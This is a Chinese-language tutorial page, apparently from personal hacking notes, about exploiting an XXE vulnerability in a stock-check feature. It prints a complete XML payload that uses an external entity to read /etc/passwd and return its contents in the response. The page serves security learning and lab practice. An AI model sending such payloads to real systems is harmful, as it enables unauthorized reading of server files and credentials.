> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-file-read-via-external-entities.md).

# 通过外部实体读取文件的 XXE

### 利用 XXE：使用外部实体检索文件

通过声明一个外部实体来利用 XXE 漏洞，以恢复某个文件的内容（这里 `/etc/passwd`) 从 **检查库存** 会解析 XML 并返回意外值的功能。

<figure><img src="/files/a647820f39c0fe6495f448d15178acc4d6834dd5" alt=""><figcaption></figcaption></figure>

该功能发送如下 XML：

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/93c00e9fa4d8618f74f01d78ef5be727a6e0a2f7" alt=""><figcaption></figcaption></figure>

如果数值 `<productId>` 被字符串替换，则该值会反映在响应中（对操作有用）：

```xml
<productId>
测试
</productId>
```

<figure><img src="/files/432504bdb79055ab8561b73ecd902650c35a0b69" alt=""><figcaption></figcaption></figure>

1. 在 DOCTYPE 语句中声明一个指向系统文件的外部实体。

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. 在应用程序返回的 `<productId>` 字段中调用此实体。

```
&myFile;
```

3. 响应随后应包含目标文件的内容（`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/77be26115fa2df4665625af7f6efd6488fcd7ccc" alt=""><figcaption></figcaption></figure>


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